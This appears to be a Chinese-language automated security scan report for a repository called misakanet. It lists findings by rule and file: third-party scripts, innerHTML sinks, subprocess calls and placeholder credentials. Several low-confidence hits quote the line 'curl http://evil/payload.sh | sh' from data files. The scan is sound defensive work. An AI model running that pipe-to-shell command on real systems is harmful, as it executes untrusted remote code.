misakanet · 安全检测报告

中HT-CLIENT-002从第三方地址加载浏览器脚本

置信度中L2 · 静态分析

workers/email-register/src/index.js:319GitHub

319<script src="https://challenges.cloudflare.com/turnstile/v0/api.js

模型研判功能所需

该 script 标签加载的是 Cloudflare 官方 Turnstile 人机验证脚本（challenges.cloudflare.com），用于邮箱注册表单防机器人，属于该 Worker 页面的正常功能组成部分。

第三方脚本可在 DSH 页面上下文执行，其未来内容不受当前 commit 约束；统计与广告脚本还会上报浏览行为。

修复建议随插件固定分发依赖，或使用带 integrity 校验的可信来源。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度中L2 · 静态分析

workers/register-proxy-sw.js:1600GitHub

1600.innerHTML =

未经清洗的内容进入 HTML 执行上下文时，可能导致脚本执行或会话数据泄露。

修复建议使用安全 DOM API，并严格清洗不可信内容。

低等级发现 52 项 · 计入结论但不改变状态展开

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

bench/phase-b/orchestrator.py:50GitHub

50subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

bench/phase-b/orchestrator.py:59GitHub

59subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

bench/self-healing/run_benchmark.py:79GitHub

79subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

bench/self-healing/run_benchmark.py:92GitHub

92subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

integrations/continue/config.tsGitHub

1execFileSync

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

integrations/continue/config.tsGitHub

1child_process

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/guard.py:139GitHub

139subprocess.Popen

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/guard.py:203GitHub

203subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/profile.py:63GitHub

63subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/clean_pipeline.py:339GitHub

339subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/draft_reminder.py:56GitHub

56subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/feedback_report.py:315GitHub

315subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/feedback_report.py:328GitHub

328subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/queue_hook_stats.py:63GitHub

63subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/queue_hook_stats.py:66GitHub

66subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/skill_cron.py:14GitHub

14subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

misakanet/scripts/standby_poller.py:48GitHub

48subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

packages/fatal-guard/bin/fatal-guard.js:15GitHub

15spawnSync

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

packages/fatal-guard/bin/fatal-guard.js:15GitHub

15node:child_process

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

packages/fatal-guard/index.js:20GitHub

20node:child_process

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

packages/fatal-guard/register.js:25GitHub

25node:child_process

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/backfill_timestamps.py:24GitHub

24subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/backfill_timestamps.py:34GitHub

34subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/bench_orchestrator.py:216GitHub

216subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/build_feed.py:47GitHub

47subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/build_feed.py:65GitHub

65subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/contribute.py:38GitHub

38subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/create_issue.py:20GitHub

20subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/dco_benchmark.py:33GitHub

33subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/dco_benchmark.py:56GitHub

56subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/gen_changelog.py:41GitHub

41subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/gen_changelog.py:62GitHub

62subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/lesson_reuse_agent.py:28GitHub

28subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/maintainer_review_queue.py:38GitHub

38subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/mcp_http_server.py:261GitHub

261subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/misaka_run.py:36GitHub

36subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/misaka_run.py:102GitHub

102subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/misaka_verify.py:67GitHub

67subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/push_via_api.py:10GitHub

10subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/push_via_api.py:30GitHub

30subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/queue_lesson.py:58GitHub

58subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/queue_lesson.py:202GitHub

202subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/referral.py:41GitHub

41subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/reputation.py:104GitHub

104subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/setup.py:26GitHub

26subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/setup.py:163GitHub

163subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/submit_lesson.py:232GitHub

232subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/submit_lesson.py:241GitHub

241subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/update_status.py:41GitHub

41subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/update_status.py:50GitHub

50subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/verify_task.py:52GitHub

52subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度中L2 · 静态分析

scripts/verify_task.py:110GitHub

110subprocess.run

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低置信度命中 50 项 · 不计入结论展开

严重HT-EXEC-002远程脚本直连 Shell 执行

置信度低L2 · 静态分析

data/lessons.json:148GitHub

148curl http://evil/payload.sh | sh

规则备注 · 出现在数据文件中，可能是文本样本而非执行路径

修复建议先下载并校验固定哈希，再由用户显式执行。

严重HT-EXEC-002远程脚本直连 Shell 执行

置信度低L2 · 静态分析

data/lessons.json:148GitHub

148curl http://evil/payload.sh | sh

规则备注 · 出现在数据文件中，可能是文本样本而非执行路径

修复建议先下载并校验固定哈希，再由用户显式执行。

严重HT-EXEC-002远程脚本直连 Shell 执行

置信度低L2 · 静态分析

docs/data/lessons.json:148GitHub

148curl http://evil/payload.sh | sh

规则备注 · 命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录

修复建议先下载并校验固定哈希，再由用户显式执行。

严重HT-EXEC-002远程脚本直连 Shell 执行

置信度低L2 · 静态分析

docs/data/lessons.json:148GitHub

148curl http://evil/payload.sh | sh

规则备注 · 命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录

修复建议先下载并校验固定哈希，再由用户显式执行。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/index.html:2311GitHub

2311.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/index.html:2354GitHub

2354.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-002从第三方地址加载浏览器脚本

置信度低L2 · 静态分析

docs/index.html:15GitHub

15<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.9/purify.min.js

规则备注 · 来自公共 CDN cdnjs.cloudflare.com，未固定完整性哈希；位于测试、示例或文档目录

修复建议随插件固定分发依赖，或使用带 integrity 校验的可信来源。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/lesson-coverage.html:134GitHub

134.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/lesson-coverage.html:144GitHub

144.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/pr-genius.html:227GitHub

227.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/reputation-leaderboard.html:114GitHub

114.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/unsolved-map.html:99GitHub

99.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/insights/unsolved-map.html:124GitHub

124.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/journey/index.html:289GitHub

289.innerHTML =

规则备注 · 位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/journey/index.html:318GitHub

318.innerHTML =

规则备注 · 位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

docs/openclaw-pr/fatal-error-hooks-rawless.ts:12GitHub

12node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

docs/openclaw-pr/openclaw-fatal-hook-proof.mjs:8GitHub

8execSync

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

docs/openclaw-pr/openclaw-fatal-hook-proof.mjs:8GitHub

8node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/search/danmaku-widget.html:52GitHub

52.innerHTML=

规则备注 · 位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/search/index.html:469GitHub

469.innerHTML =

规则备注 · 位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

docs/search/index.html:515GitHub

515.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/cli-contract.js:5GitHub

5spawnSync

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/cli-contract.js:5GitHub

5node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/crash-scenarios.js:16GitHub

16execSync

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/crash-scenarios.js:16GitHub

16node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

packages/fatal-guard/tests/crash-scenarios.js:86GitHub

86ghp_abcdefghijklmnopqrstuvwxyz1234567890

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

packages/fatal-guard/tests/redact-compliance.js:6GitHub

6AKIA1234567890123456

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

packages/fatal-guard/tests/redact-compliance.js:7GitHub

7ghp_abcdefghijklmnopqrstuvwxyz1234567890

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/smoke.test.js:5GitHub

5node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/verify-fix.js:19GitHub

19node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

packages/fatal-guard/tests/windows-compat.test.js:5GitHub

5node:child_process

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

严重HT-EXEC-002远程脚本直连 Shell 执行

置信度低L2 · 静态分析

tasks/lesson-github-actions-code-injection.json:12GitHub

12curl http://evil/payload.sh | sh

规则备注 · 出现在数据文件中，可能是文本样本而非执行路径

修复建议先下载并校验固定哈希，再由用户显式执行。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/fixtures/intake_spam_guard_corpus.json:74GitHub

74ghp_ABCdefGHIJklmnoPQRstuvWXYZ1234567890

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/fixtures/intake_spam_guard_corpus.json:75GitHub

75sk-ant-api03-abcdefghijklmnopqrstuvwxyz1234567890

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

tests/frontend.test.js:45GitHub

45.innerHTML =

规则备注 · 位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

中HT-CLIENT-001浏览器端使用危险 HTML 注入点

置信度低L2 · 静态分析

tests/frontend.test.js:92GitHub

92.innerHTML =

规则备注 · 附近存在清洗/转义调用；位于测试、示例或文档目录

修复建议使用安全 DOM API，并严格清洗不可信内容。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_benchmark_fixtures.py:37GitHub

37subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_benchmark_fixtures.py:49GitHub

49subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_ci_self_heal.py:21GitHub

21subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_ci_self_heal.py:81GitHub

81subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/test_intake_redaction.py:40GitHub

40xoxb-1234567890-1234567890123-abc

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/test_intake_redaction.py:57GitHub

57-----BEGIN RSA PRIVATE KEY-----

规则备注 · 位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_intake_spam_guard.py:62GitHub

62subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_intake_spam_guard.py:73GitHub

73subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/test_intake_spam_guard.py:150GitHub

150ghp_1234567890abcdefghijklmnopqrstuvwxyz

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_lesson_gate.py:207GitHub

207subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_lesson_gate.py:216GitHub

216subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_queue_lesson_dry_run.py:15GitHub

15subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

严重HT-SECRET-001疑似硬编码凭据

置信度低L2 · 静态分析

tests/test_tombstone_redaction.py:16GitHub

16ghp_abcdefghijklmnopqrstuvwxyzABCDEFGHIJ

规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录

修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。

低HT-EXEC-001直接创建宿主子进程

置信度低L2 · 静态分析

tests/test_unsolved_map.py:96GitHub

96subprocess.run

规则备注 · 位于测试、示例或文档目录

修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。

misakanet存在风险89/100

检测结论

检测明细

权限清单 · cordis patch 解析

证据

依赖漏洞 · L1

身份与来源

宿主能力

检测覆盖

时间线

徽章

已知限制与申诉